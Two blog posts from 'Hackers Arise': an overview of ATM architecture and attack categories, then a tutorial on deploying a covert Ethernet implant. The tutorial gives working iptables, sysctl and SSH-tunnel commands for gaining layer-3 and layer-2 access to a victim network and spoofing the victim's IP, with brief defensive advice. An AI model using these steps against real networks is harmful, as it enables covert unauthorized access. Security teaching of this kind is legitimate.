Welcome back, aspiring cyberwarriors!

Part of our work involves supporting red team engagements. We review completed tests, size up the risk tied to each vulnerability and build out recommendations for shoring up the infrastructure. This time around, we wanted to pull back the curtain on something special. It’s ATM security. 

This article is written to help with security assessments on ATMs, showing possible vulnerabilities you may find. It covers many things, from running malware bought off a forum, to an insider on the bank’s payroll, to a service technician who understands the machine’s internals and has been handed broad access to the equipment. We also look at whether a hacker could get into the bank’s broader network simply because the perimeter wasn’t locked down well enough.

Nothing here is meant as a tutorial. We’re documenting weaknesses hackers could exploit so that defenders know what to fix, not handing anyone a blueprint. We take no responsibility for how this information is used.

With that out of the way, let’s start with where ATMs came from.

The History of ATMs

London got the world’s first working ATM on June 27, 1967. It was primitive by today’s standards, incapable of checking a balance, which is exactly why withdrawals topped out at 10 pounds, and it dispensed cash only against special vouchers rather than reading a card. 

Nearly six decades later, ATMs look nothing like those early cash dispensers. Now they are multifunctional devices, but the hackers never stopped circling. Part of the appeal is obvious. An ATM sits on a pile of cash and offers quick access to it, and there are simply too many machines scattered across too many places to guard them all closely. A lot of them sit in isolated, low traffic spots that run unattended around the clock, think gas stations. That has shaped decades of security investment, most of it aimed at physical hardening. Today’s units can weigh over half a ton and come loaded with sensors tracking position, internal temperature, and whether a compartment has been pried open.

Here’s the catch, though. The safe holding the cash is genuinely hard to crack, but the compartment housing the control electronics is a different story, and in our assessment, it remains poorly defended. That gap opens the door to logical attacks, ones that skip the crowbar entirely and go after the software instead, and that category has been gaining ground fast.

Cisco Talos has tracked a steady climb in new ATM malware variants since 2009. The raw sample count still looks small next to other malware families, but don’t let that fool you. Europe alone saw logical attacks on ATMs jump 269% in 2020 versus the year prior, and the average payout per incident ballooned nearly a thousandfold across that same window, climbing from roughly a thousand euros to well over a million.

What changed the game was availability. ATM malware used to be a rare, closely guarded tool. Once it started circulating more freely on underground markets, prices fell and so did the skill required to use it. Cutlet Maker, which surfaced in 2017, is a good illustration. It came bundled with a Russian language manual complete with troubleshooting notes for running it against different ATM models.

Fast forward to 2024, and vendors on those same markets were offering ATM malware through subscription pricing, monthly plans included.

Logical attacks have always had one real weakness. They take skill and patience to pull off. That’s why cheap, well documented malware kits have had such an outsized impact on the trend. Their upside for hackers is just as real. They’re far quieter than smashing a machine open, and they often let the same person come back to a compromised ATM again and again. Manufacturers have started fighting back on the hardware side too, with tamper protected cassettes that flood the cash inside with indelible ink the moment someone tries to force them open, ruining the bills instantly.

Brief Attack Statistics

The numbers tell their own story. ATM related crime climbed 600% between 2019 and 2022, with 165% of that increase packed into 2021 and 2022 alone. Physical break ins, which have always driven the bulk of ATM crime, contributed alongside the rise in logical attacks. Germany had 496 ATM explosions recorded in 2022, a record for the country. Zoom out globally, and incidents of that kind blew past 18,000 in 2023.

Losses have kept pace. Banks worldwide absorbed $2.4 billion in direct losses from ATM fraud by the close of 2023. Europe’s share came to 173 million euros, with 67 million of that tied specifically to skimming. The United States handles just 25.29% of global transaction volume yet accounts for 42.32% of global losses. Skimming remains a big part of why, showing up in 45% of all ATM fraud cases in 2023 and costing North America over $900 million, with more than 315,000 cards compromised across at least 3,000 financial institutions.

None of this is happening in a vacuum. The market for ATM protection has grown right alongside the threat. Still, priorities inside most banks remain lopsided. Physical security tends to get the lion’s share of attention, while the operating system, drivers, and control software logic running underneath often get treated as an afterthought. That imbalance carries real consequences. A 2022 RTM Group study found that hackers could breach an ATM’s housing without setting off an alarm in one out of every two attempts, giving them free rein to tamper with the equipment inside.

How an ATM Is Built

Making sense of how these attacks work starts with understanding what happens inside the machine during an ordinary transaction. We’ll walk through that process using one representative configuration, illustrated in the diagram below.

The diagram reflects one specific setup we’re using for illustration, not a universal default, since real world configurations vary by device.

1. User Layer

From where the customer stands, using an ATM is simple. They need to present a card and pick a transaction. That wasn’t always the whole story. Inserting a physical card into a reader used to be the only entry point, and that reliance on the magnetic stripe made skimming and shimming, techniques aimed at stealing card data to produce counterfeit copies, a persistent problem for years.

Contactless cards changed the entry point itself. NFC readers now sit alongside traditional card slots on most machines. 

A PIN code layers on additional protection against someone using a stolen card. Entry happens through an encrypting PIN pad, a combination of physical keypad and cryptographic module that ensures the PIN never travels or gets stored anywhere in plain text. Verification of the resulting encrypted PIN block happens back at the processing center. 

Once identity checks clear, you can withdraw cash, check your balance, transfer funds, and so forth. There’s a full computer running inside the housing, but customers never get anywhere near it directly. Every interaction they have flows through a single banking application running in kiosk mode, locked to full screen.

2. OS Layer

That computer we just mentioned lives inside what’s called the service zone, and this section covers what happens there, setting the cash handling hardware aside for the moment. Physically, the service zone is protected by a thin door and a basic lock. Machines from the same product line frequently share an identical key too, one that’s often available for purchase online with minimal effort.

Beyond the system unit itself, the service zone also houses the ATM’s networking equipment and its wired connections to the card reader, contactless reader, PIN pad, and dispenser, typically running over USB, Ethernet, PCI, or COM interfaces depending on the device.

Windows powers most of these systems, historically through Windows Embedded and increasingly through Windows IoT, a Windows 10 variant built for embedded use.

The kiosk application isn’t the only thing running on that OS. Alongside it sits the ATM’s control software plus a handful of security tools. That can be antivirus protection, Windows AppLocker that keeps unauthorized programs from executing, and a VPN client that maintains a secure tunnel back to the bank’s internal network.

Control software is arguably the most important piece at this layer. Core responsibilities for the control software boil down to managing peripherals and communicating with the processing center, though specific implementations often add more on top of that. Some bundle in software for a monitoring server, letting technicians manage an entire network of self service machines remotely. Others are built in a supervisor mode meant purely for technical staff, offering quick access to diagnostic tools through a hidden menu to simplify physical maintenance visits.

3. Network Layer

Selecting a transaction sets off a verification process handled entirely by the processing center, a server living on the bank’s internal network. That server confirms the card data is legitimate, checks the PIN again before letting the transaction through, rules out any restrictions on the account, and verifies there’s enough balance to cover the request.

Everything exchanged between the ATM and the processing center travels encrypted, usually through a VPN tunnel, protecting against interception or tampering along the way. NDC and DDC are the most common messaging protocols in this exchange, functioning as something of an informal industry standard even before multi-vendor control software became widespread. ISO 8583 and its various offshoots see heavy use as well. 

The processing center isn’t the only thing an ATM talks to. Many machines also maintain a connection to a monitoring server used for remote management, health checks, and pushing updates, and unlike the processing center link, this channel frequently runs without any encryption at all.

4. Firmware Layer

Once the processing center signs off, the control software hands things over to the dispenser for a withdrawal, or the deposit module if cash is going in. These components typically sit inside the most fortified section of the ATM, the safe zone, built from tougher materials and secured with its own dedicated key separate from the service zone. 

The dispenser counts out the required banknotes from the ATM’s cassettes, moves them into position at the dispensing tray, then opens the shutter, the physical flap that blocks access to the cash until it’s ready. Data moving between the control software and the dispenser can be encrypted, and both sides authenticate one another before any exchange begins, a safeguard against device spoofing. All of that encryption and authentication logic lives directly in the dispenser’s own firmware. 

Deposits work differently. Incoming banknotes pass through a validator that checks their authenticity.

ATM Attacks

With the mechanics of an ATM covered, we can turn to the threats themselves. Every attack against these machines falls into one of two broad camps, physical or logical, depending on what the hacker is going after and how they approach it.

Physical attacks go straight after the machine or its components, aiming to extract cash or knock the device out of normal operation without touching a line of code. These predate targeted malware by decades and don’t require much specialized skill. Some don’t even target the machine itself, focusing instead on the people standing in front of it.

Logical attacks operate on a different level entirely. They demand genuine technical skill and preparation, built around exploiting weaknesses in the ATM’s software and network layers. They draw less public attention than physical attacks despite posing a bigger threat to banks, largely because they’re quieter and let a hacker return to the same compromised machine to cash in more than once.

System attacks go after functionality or logic running at the ATM’s OS layer, typically aiming to extract cash or sidestep security controls outright. Black box attacks deserve special attention, where a hacker skips gaining OS access altogether and instead wires their own device directly into the dispenser to control it externally. The same technique can target other peripherals, like the banknote validator.

Network attacks aim at the ATM’s networking components instead, with hackers looking to intercept, forge, or otherwise abuse data in transit, or to seize remote control of the machine. With weak enough safeguards in place, a hacker can forge the responses coming back to the ATM and push through a cash withdrawal even after the processing center rejected it.

Not every attack in this framework ends with cash in hand. A hacker might, say, work to gain remote network access first, then pivot into an OS layer attack from there. 

We have seen cases where compromising a single ATM meant compromising the entire bank because there was no network segmentation in place. Conversely, gaining access to the bank’s internal network could provide a path to ATMs and other critical systems connected to it. Credential reuse and a lack of understanding of Active Directory security can lead to devastating consequences in environments like these.

Summary

ATMs have evolved from simple cash dispensers into complex and networked systems. Their security has evolved unevenly alongside them. Physical hardening has made the cash safe itself genuinely difficult to crack, but the service zone housing the control electronics remains comparatively exposed, and that gap has fueled a steady rise in logical attacks. These attacks demand more skill than a physical break-in, but they’re increasingly accessible because of well-documented malware kits.

Cybersecurity is a vast field, and we offer courses covering a wide range of topics, including Active Directory Hacking, Wi-Fi Hacking, Web Application Hacking, SCADA Security, and much more. Our course library is constantly growing as we continue to add new training, all of which is available through our Member Gold plan. If you want unlimited access to our entire training library, including our most advanced courses, consider upgrading to Subscriber Pro.

The post Pentesting: A Look at ATM Security first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors! 

Today we complete our short series on building a small persistence device. After covering how to build it in Part 1, we will now focus on its deployment and how to achieve persistence using the device we created. We will also discuss practical measures to protect your environment from attacks like this.

Persistence

An attacker finds an unattended computer and discreetly connects their device to it.

The computer in the image above will not lose network access and will not even detect the intermediate node. The Rock Pi will transparently forward the victim’s traffic while simultaneously giving the attacker network access both toward the victim’s computer and toward the local network.

The hardware implant can be connected anywhere (from a regular computer or printer to a server room). It all depends on where the attacker managed to gain access. Its small size allows the hardware backdoor to be hidden even inside another device.

The hardware implant can even be placed inside an IP phone located in a meeting room. Such rooms are often temporarily unoccupied, which an attacker can take advantage of.  The device configuration also allows it to be used not only in a “man-in-the-middle” setup. It can simply be plugged into any available Ethernet port to maintain remote access.

Next, using all available access channels (VPN, DNS, Wi-Fi, 4G), the attacker can remotely access the device and, from there, gain access to the network. To develop further attacks, the attacker does not need to deploy all hacking tools on the device every time. The implant can act merely as a gateway, simply forwarding packets from the attacker into the network.

L3 Access

Now it is time to look at how such a device can be configured in gateway mode, providing simple Layer 3 (L3) access to the target network. Only two components are required.

The first is packet forwarding. When this kernel option is enabled, network packets can pass from one interface (VPN) to another (Ethernet) according to routing rules:

/etc/sysctl.conf

net.ipv4.ip_forward=1

The second is SNAT, which modifies the source IP address for packets that change network interfaces, in this case from VPN to Ethernet:

Pi > iptables -t nat -A POSTROUTING -o br0 -j MASQUERADE
Pi > iptables-save | sudo tee /etc/iptables.up.rules

/etc/network/if-pre-up.d/iptables

#!/bin/bash
/sbin/iptables-restore < /etc/iptables.up.rules

This gives the hacker simple and convenient access to the network where the implant is placed. On the attacker’s side, all that is required is to add a route through Packet Squirrel:

kali > route add -net 10.0.0.0/8 gw packet_squirrel
kali > ping 10.10.10.10

The attacker’s phone, which is not directly connected to the victim’s laptop, is connected to the same VPN network as the Packet Squirrel. A route is configured on the phone with Packet Squirrel as the gateway, after which the attacker gains direct network access to the internal network. This is convenient for the attacker and can be used both for stealthy access and for further attack development. However, this is only L3 access (the network layer of the OSI model), which does not provide full attack capabilities, since the attacker is not actually inside the network but uses Packet Squirrel as a gateway.

To be fully present within the network segment and to use the full arsenal of Ethernet-based attacks (from ARP to NetBIOS spoofing), the attacker needs Layer 2 (L2) access.

L2 Access

To obtain full L2 access to the network segment where the implant is located, the attacker must create an additional tunnel. The simplest way to do this is via SSH:

/etc/ssh/sshd_config

PermitRootLogin yes
PermitTunnel ethernet

Since the device’s Ethernet interfaces are already connected in a bridge (br0), the attacker only needs to add a new L2 interface from SSH into this bridge:

kali > sudo ssh root@packet_squirrel -o Tunnel=ethernet -w any:any
Pi > brctl addif br0 tap1
Pi > ifconfig tap1 up

The network bridge will copy every network packet from the Ethernet interfaces into this virtual interface. On the attacker’s side, a new L2 interface will also appear, receiving all packets available to the Packet Squirrel and acting as an L2 portal into the internal network segment:

kali > sudo ifconfig tap1 up
kali > sudo dhclient tap1

Now, being directly inside the network segment via Packet Squirrel, the attacker can obtain an internal IP address via DHCP. For greater stealth, they may even use the victim’s IP address:

Pi > sudo ifconfig br0 0
kali > sudo ifconfig tap1 $victim_ip/24

A small device hidden somewhere deep within a corporate network, behind a workstation, a hallway printer, an IP phone in a meeting room, or even buried in server room cabling can covertly interact with internal network nodes on behalf of the victim (using their MAC and IP address). Meanwhile, the attacker can be physically located far away.

Such a device can also be used for remote internal penetration testing, where the client simply plugs the device into the required network segment. No further action is needed. There is no need to coordinate access approvals, travel to the site, or deal with inconvenient VPN connections.

How to Defend

Using Port Security alone can prevent an attacker from accessing an unused network port, since they will not know the required MAC address. If 802.1X is also implemented, the attacker will not be able to insert a device in the middle. When connecting a Packet Squirrel, even briefly, the network link must be interrupted, which would require re-authentication.

Another defensive measure is strict physical control over Ethernet ports and devices within the enterprise network.

Summary

We showed you how a small, hidden hardware implant can give an attacker persistent and stealthy access to an internal network. By acting as a transparent bridge or gateway, the device allows remote entry without disrupting normal operations. With L3 access, the attacker gains basic connectivity, while L2 access places them fully inside the network, enabling more advanced attacks and even impersonation of legitimate devices. Physical access, even briefly, can translate into long-term compromise. That’s why strong network authentication and strict control over physical ports are critical for defense.

If you like what we’re doing here and want to advance your cybersecurity skills, check out our Cyberwarrior Path training. It’s a three-year program built around a two-tier learning curriculum. During the first 18 months, you’ll get access to a rich library of beginner to intermediate-level courses, giving you the knowledge and practical skills you need to build a strong foundation and progress with confidence.

The post Persistence: Building a Small Ethernet Persistence Device, Part 2 first appeared on Hackers Arise.